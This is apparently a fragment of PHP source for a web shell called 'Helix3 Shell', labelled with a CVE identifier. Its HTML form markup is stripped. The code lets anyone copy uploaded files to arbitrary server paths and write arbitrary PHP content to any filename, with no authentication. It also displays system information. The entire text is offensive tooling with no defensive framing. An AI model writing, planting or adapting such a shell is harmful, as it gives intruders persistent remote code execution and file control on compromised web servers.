Helix3 Shell'; // ---- File upload with rename ---- echo '

Upload File (rename possible)

'; echo '
'; echo 'Local file:
'; echo 'Remote filename:
'; echo ''; echo '
'; if(isset($_POST['upload']) && isset($_FILES['file'])) { $tmp = $_FILES['file']['tmp_name']; $newname = $_POST['newname'] ?: $_FILES['file']['name']; if(@copy($tmp, $newname)) { echo "Uploaded to: $newname
"; echo "$newname"; } else { echo "Upload failed."; } } // ---- Create file with content ---- echo '

Create File (write content)

'; echo '
'; echo 'Filename:
'; echo 'Content (PHP code):
'; echo ''; echo '
'; if(isset($_POST['create'])) { $fn = $_POST['filename']; $content = $_POST['content']; if(@file_put_contents($fn, $content)) { echo "File created: $fn
"; echo "$fn"; } else { echo "Creation failed."; } } // ---- Show system info ---- echo '
' . php_uname() . '
'; echo '
Helix3 shell (CVE-2026-49049)'; ?>